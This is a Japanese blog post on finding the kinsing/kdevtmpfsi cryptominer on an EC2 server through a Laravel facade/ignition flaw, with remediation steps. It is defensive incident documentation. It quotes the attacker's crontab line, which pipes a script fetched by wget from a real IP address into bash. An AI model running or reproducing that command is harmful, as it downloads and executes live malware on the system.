EC2が急にCPU100%のアラートを飛ばすようになった。nanoなのに1日2ドルとかトラフィックでかかっていてなんだこれ?ってなった。
調べてみるとkinsing(kdevtmpfsi)というマルウェアにかかっていて、仮想通貨のマイニングに勝手に使われた模様。
プロセスは下記の様な感じ。
【注意】下記のシェルURLは絶対に叩かないでください!!
[root@ip-xxx-xxx-xxx-xxx ~]# ps aux | grep nginx
nginx 2296 0.0 0.3 404256 1432 ? S 2月14 0:10 php-fpm: pool www
nginx 2297 0.0 0.3 402228 1584 ? S 2月14 0:09 php-fpm: pool www
nginx 2298 0.0 0.2 404268 1232 ? S 2月14 0:10 php-fpm: pool www
nginx 2299 0.0 0.3 404252 1584 ? S 2月14 0:10 php-fpm: pool www
nginx 2301 0.0 0.3 402232 1616 ? S 2月14 0:10 php-fpm: pool www
root 2304 0.0 0.0 125972 0 ? Ss 2月14 0:00 nginx: master process /usr/sbin/nginx
nginx 2306 0.0 0.0 126384 396 ? S 2月14 0:02 nginx: worker process
nginx 2307 0.0 0.0 126384 160 ? S 2月14 0:00 nginx: worker process
nginx 2762 0.0 0.2 402212 1396 ? S 2月14 0:10 php-fpm: pool www
nginx 9152 0.0 0.2 404256 1416 ? S 04:28 0:06 php-fpm: pool www
nginx 20413 0.0 0.7 718484 3412 ? Sl 20:50 0:00 /tmp/kinsing
nginx 20564 197 56.3 788140 266128 ? Ssl 20:51 76:19 /tmp/kdevtmpfsi
root 22545 0.0 0.1 119436 864 pts/0 S+ 21:30 0:00 grep --color=auto nginx
[root@ip-xxx-xxx-xxx-xxx ~]# cd /var/spool/cron
[root@ip-xxx-xxx-xxx-xxx cron]# ll
合計 4
-rw------- 1 nginx nginx 74 2月 15 20:50 nginx
[root@ip-xxx-xxx-xxx-xxx cron]# cat nginx
* * * * * wget -q -O - http://195.3.146.118/pg.sh | bash > /dev/null 2>&1
[root@ip-xxx-xxx-xxx-xxx tmp]# pwd
/tmp
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a
合計 4
drwxrwxrwt 11 root root 4096 2月 15 21:44 .
dr-xr-xr-x 19 root root 288 6月 2 2020 ..
drwxrwxrwt 2 root root 6 6月 1 2020 .ICE-unix
drwxr-xr-x 2 nginx nginx 18 2月 11 21:41 .ICEd-unix
drwxrwxrwt 2 root root 6 6月 1 2020 .Test-unix
drwxrwxrwt 2 root root 6 6月 1 2020 .X11-unix
drwxrwxrwt 2 root root 6 6月 1 2020 .XIM-unix
drwxrwxrwt 2 root root 6 6月 1 2020 .font-unix
drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-chronyd.service-oOMI2M
drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-nginx.service-YmMBKR
drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-php-fpm.service-GQpeT7
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a /var/spool/cron/
合計 0
drwx------ 2 root root 6 2月 15 21:38 .
drwxr-xr-x 9 root root 97 5月 27 2020 ..
何かしらの脆弱性をついてnginxのユーザーで特定のプログラムを実行させるという手法。
対処方法
kinsingにかかったら、/tmpのkinsing,kdevtmpfsiを削除するのと、/var/spool/cron/nginx のファイルを削除してください。
また、root権限かsudoで全体に検索かけてください。
[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kinsing”
[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kdevtmpfsi”
本件の問題は、Laravelフレームワークにおいてデバッグ出力時に利用しているcomposerのfacade/ignitionの脆弱性が問題です。
composer updateをして最新版にアップデートしてください。
facade/ignitionがバージョン2.0.6で問題が起き、2.5.13で問題が起きないことを確認しています。
また、.env の APP_DEBUG がtrue になってたら false に変更してください。
一応プロセスキルだけでも良いとは思いますが、念の為サーバーは再起動した方が良いと思います。
yumとcomposerは定期的にアップデートした方がよさそうです。